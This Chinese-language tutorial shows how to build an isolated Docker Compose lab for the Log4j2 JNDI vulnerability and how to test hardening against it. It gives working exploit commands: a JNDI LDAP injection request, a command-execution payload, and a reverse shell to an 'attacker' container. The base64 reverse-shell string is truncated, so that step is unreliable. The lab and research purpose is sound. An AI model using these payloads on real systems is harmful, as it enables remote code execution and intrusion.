别再只会用vulhub了！手把手教你用Docker Compose本地搭建Log4j2漏洞靶场（附JNDIExploit实战）

从零构建Log4j2漏洞靶场：Docker Compose实战指南

在安全研究领域，漏洞复现环境的搭建能力往往决定了研究深度和效率。当大多数研究者还停留在使用现成漏洞库时，真正的高手已经开始构建自己的实验环境。本文将带你超越简单的vulhub使用，通过Docker Compose从零搭建一个高度定制化的Log4j2漏洞靶场，并深入解析JNDI注入的实战应用。

1. 环境规划与架构设计

构建专业级漏洞靶场的第一步是明确环境需求。对于Log4j2漏洞(CVE-2021-44228)研究，我们需要模拟以下组件：

• 漏洞应用服务：基于Spring Boot的Web应用，集成存在漏洞的Log4j2版本
• 攻击工具链：JNDI注入工具、LDAP/RMI服务、监听控制端
• 网络隔离环境：确保实验流量不会泄露到外部网络

推荐使用以下技术栈组合：

2. 定制化Docker环境搭建

2.1 准备基础镜像

首先创建自定义Dockerfile构建存在漏洞的Java应用环境：

FROM openjdk:8-jdk ARG APP_PORT=8080 # 安装基础工具 RUN apt-get update && apt-get install -y \ curl \ net-tools \ tcpdump \ && rm -rf /var/lib/apt/lists/* # 设置工作目录 WORKDIR /app COPY target/vuln-app.jar . COPY log4j2.xml . # 配置有漏洞的log4j2版本 ENV LOG4J_FORMAT_MSG_NO_LOOKUPS=false EXPOSE ${APP_PORT} CMD ["java", "-jar", "vuln-app.jar"]

关键配置说明：

• 显式设置LOG4J_FORMAT_MSG_NO_LOOKUPS=false确保漏洞可触发
• 包含网络诊断工具便于调试
• 使用固定端口保证服务可访问性

2.2 编排多服务环境

创建docker-compose.yml定义完整环境：

version: '3.8' services: vuln-app: build: . ports: - "8080:8080" networks: - vuln-net environment: - JAVA_OPTS=-Dcom.sun.jndi.ldap.object.trustURLCodebase=true attacker: image: openjdk:8-jdk volumes: - ./tools:/tools networks: - vuln-net tty: true networks: vuln-net: driver: bridge internal: true

网络配置要点：

• 使用internal: true创建隔离网络
• 为Java应用设置trustURLCodebase允许远程类加载
• 挂载工具目录便于攻击工具使用

3. 漏洞应用开发与集成

3.1 创建存在漏洞的Spring Boot应用

构建一个简单的Web应用演示漏洞触发：

@RestController public class VulnController { private static final Logger logger = LogManager.getLogger(VulnController.class); @GetMapping("/hello") public String hello(@RequestParam String input) { logger.error("Received: {}", input); return "Request processed"; } }

关键依赖配置(pom.xml)：

<dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.14.1</version> </dependency>

3.2 配置有漏洞的Log4j2

log4j2.xml配置文件示例：

<Configuration status="warn"> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d %-5p [%t] %c{1}:%L - %msg%n"/> </Console> </Appenders> <Loggers> <Root level="error"> <AppenderRef ref="Console"/> </Root> </Loggers> </Configuration>

4. JNDI注入实战演练

4.1 启动攻击服务

进入attacker容器执行：

java -jar /tools/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \ -C "touch /tmp/pwned" \ -A vuln-app \ -L 1389

参数说明：

• -C指定要在目标机器执行的命令
• -A指定目标应用服务名(Docker网络内可用主机名)
• -L指定LDAP服务端口

4.2 构造攻击请求

使用curl发送恶意请求：

curl "http://vuln-app:8080/hello?input=\${jndi:ldap://attacker:1389/exp}"

验证攻击结果：

docker exec vuln-app ls /tmp | grep pwned

4.3 高级利用：反弹Shell

1. 准备监听端：

nc -lvp 4444

2. 生成编码后的反弹Shell命令：

echo 'bash -i >& /dev/tcp/attacker/4444 0>&1' | base64

3. 启动JNDI服务：

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \ -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlcg==}|{base64,-d}|{bash,-i}" \ -A attacker

5. 环境调试与问题排查

常见问题及解决方案：

1. DNS解析失败

   • 检查Docker网络配置
   • 确保容器间可通过服务名通信
   • 使用docker network inspect vuln-net验证

2. 类加载被拒绝

   • 确认Java安全策略设置

   docker exec vuln-app cat /etc/java-8-openjdk/security/java.policy

   • 添加权限规则：

   permission java.net.SocketPermission "*", "connect,resolve";

3. 流量捕获与分析

   • 在vuln-app容器中启动抓包：

   tcpdump -i eth0 -w log4j-attack.pcap

   • 使用Wireshark分析LDAP交互过程

6. 安全加固与防护测试

完成漏洞复现后，验证防护措施有效性：

1. Log4j2安全配置

   log4j2.formatMsgNoLookups=true

2. JVM参数防护

   -Dlog4j2.formatMsgNoLookups=true

3. 网络层防护

   # docker-compose.yml网络配置 networks: vuln-net: driver: bridge enable_ipv6: false internal: true

通过对比加固前后的攻击结果，可以直观验证防护措施的有效性。这种自定义环境可以灵活调整各种参数，比标准化漏洞平台更适合深入研究。